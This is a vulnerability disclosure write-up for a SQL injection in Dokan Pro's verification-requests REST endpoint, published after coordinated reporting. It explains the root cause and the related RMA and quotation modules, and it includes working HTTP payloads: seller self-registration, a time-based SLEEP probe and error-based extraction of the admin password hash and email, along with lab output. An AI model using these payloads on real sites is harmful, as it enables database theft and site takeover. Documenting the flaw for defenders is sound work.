Sorted by the attacker: SQL injection in Dokan Pro's verification API
Dokan Pro whitelisted the column you sort by, but not the direction you sort in. One raw order parameter in the vendor-verification REST endpoint turns a marketplace's own API into a database extraction channel — and the only account it takes is a seller account you register yourself.
Verified end-to-end in our lab: Dokan Pro 5.0.2 + Dokan Lite 5.0.3 on WordPress 7.0 / WooCommerce 10.8.1 / PHP 8.2.31 / MariaDB 10.11 (Docker, default configuration, Vendor Verification module active). Affected: Dokan Pro ≤ 5.0.2. Reported to the vendor through Patchstack under coordinated disclosure.
Summary
The Vendor Verification module exposes a REST endpoint listing sellers' verification requests, and it accepts a sort direction from the query string. The order_by column is whitelisted; the order direction is concatenated into the SQL raw. From there an attacker gets time-based blind confirmation and error-based extraction of anything in the database — administrator password hashes, wp_options secrets, customer PII. The endpoint's permission check admits any account with the seller role, and Dokan hands that role to anyone who fills in the public registration form.
The endpoint that sorted too much
The endpoint is GET /wp-json/dokan/v1/verification-requests. Its permission callback is a role check:
// VerificationRequestsApi.php:435 — who may list verification requests
return current_user_can('manage_options')
|| current_user_can('seller');
// 'seller' is self-registered through the public form by default —
// granted instantly, active without admin approval (see CVE-2026-65493)
So "authenticated" here means "anyone who spent thirty seconds on the registration form".
Root cause: one whitelisted, one raw
The query builder validates half of the sort clause:
// VerificationRequest.php:1004
if ( ! dokan_is_empty($args['order_by'])
&& in_array($args['order_by'], $this->valid_fields(), true)) {
// order_by IS whitelisted — safe
$orderby = "ORDER BY {$args['order_by']} {$args['order']}";
// order is concatenated RAW — zero sanitization
}
The interpolated $orderby is then baked into a $wpdb->prepare() format string further down — it arrives before prepare runs, never as a placeholder, so prepare cannot neutralize it. The data flow is short: get_items() takes all request params raw via $request->get_params(), prepare_query_args() merges them over the defaults with wp_parse_args (our order overrides the safe 'DESC'), and the REST parameter registration never even defines order — no enum, no sanitize_callback. Whitelisting the column but not the keyword is the kind of half-measure that looks reviewed; it is not.
Exploitation over HTTP
Step one — register a seller account (unauthenticated, instantly active on the default config):
POST /wp-login.php?action=register HTTP/1.1
Host: market.example
Content-Type: application/x-www-form-urlencoded
user_login=evilvendor&user_email=evil@attacker.com&role=seller&shopname=EvilShop&...
Step two — log in and keep the wordpress_logged_in_* cookie; step three — pull a REST nonce from admin-ajax.php?action=rest-nonce. Step four, confirm the injection time-based:
GET /wp-json/dokan/v1/verification-requests
?order=DESC,(SELECT 1 FROM (SELECT SLEEP(3))x)-- HTTP/1.1
Host: market.example
Cookie: wordpress_logged_in_…=evilvendor session
X-WP-Nonce: cb10eb6743
// lab output:
normal: {"data":[...],"count":1,"time":0}
injected: {"data":[...],"count":1,"time":3.001}
// SLEEP(3) caused an exact 3.001s delay — SQLi confirmed
Step five — error-based extraction of the administrator password hash, straight into the JSON error response:
GET /wp-json/dokan/v1/verification-requests
?order=DESC,(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT user_pass
FROM wp_users LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables
GROUP BY x)a)-- HTTP/1.1
{"code":"internal_server_error","message":
"Duplicate entry '$wp$2y$10$U9TupK0busdOiJHu2Kq.w.1pScrZ77vRlLNCU/nBPA4uozAbVfcUC1'
for key 'group_key'"}
Step six — same primitive, the administrator's email:
// …(SELECT user_email FROM wp_users WHERE ID=1)…
DB Error: Duplicate entry 'admin@test.local1' for key 'group_key'
From a hash and an email the road is short: crack offline, log in as admin, and a stock WordPress theme editor gives you code execution.
The same mistake, two more modules
The identical unsanitized order pattern exists in two more Dokan Pro modules, reported together so the fix covers the class: the RMA module (modules/rma/includes/functions.php:533 — seller/customer-reachable; the strtolower() there stops nothing, SQL keywords are case-insensitive) and Request for Quotation (modules/request-for-quotation/includes/Helper.php:110, 216, 390 — both orderby and order raw, admin-reachable).
Why it matters
- The privilege is self-asserted. PR:L on paper; in practice the low-privilege role is issued by a public form with no approval step on the default configuration.
- Read-everything primitive. Error-based extraction returns arbitrary cell contents in the HTTP response — admin hashes,
AUTH_KEY/SALToptions (cookie forgery), marketplace PII. - A whitelist that wasn't. Sort-direction parameters are a classic blind spot: the column got validated, the keyword did not. Three modules carried the same pattern.
The Vendor Verification module must be active (Professional-tier plans and up), and the attacker must hold a seller account — self-registered by default, gated only if the marketplace switched onboarding to manual approval. We assessed the vector at CVSS 8.8 (AV:N/AC:L/PR:L/UI:N, C/I/A:H); the assigned score is 7.1 (High) — we publish the CNA's number, not ours.
Disclosure timeline
- 2026-06-06 — full report with reproduction and live proof submitted to the vendor via Patchstack.
- 2026-06 — RMA and RFQ instances validated and added to the report.
- 2026-08 — identifier CVE-2026-65494 assigned (CVSS 7.1, High).
- 2026-08-13 — public write-up (this page).
References
- Dokan Pro 5.0.2 —
VerificationRequest.php:1004,VerificationRequestsApi.php:435/156/945,modules/rma/includes/functions.php:533,modules/request-for-quotation/includes/Helper.php:110,216,390. - OWASP A03:2021 — Injection; MySQL error-based extraction via
GROUP BYduplicate-key. - Related: CVE-2026-65493 — object injection in the same plugin family.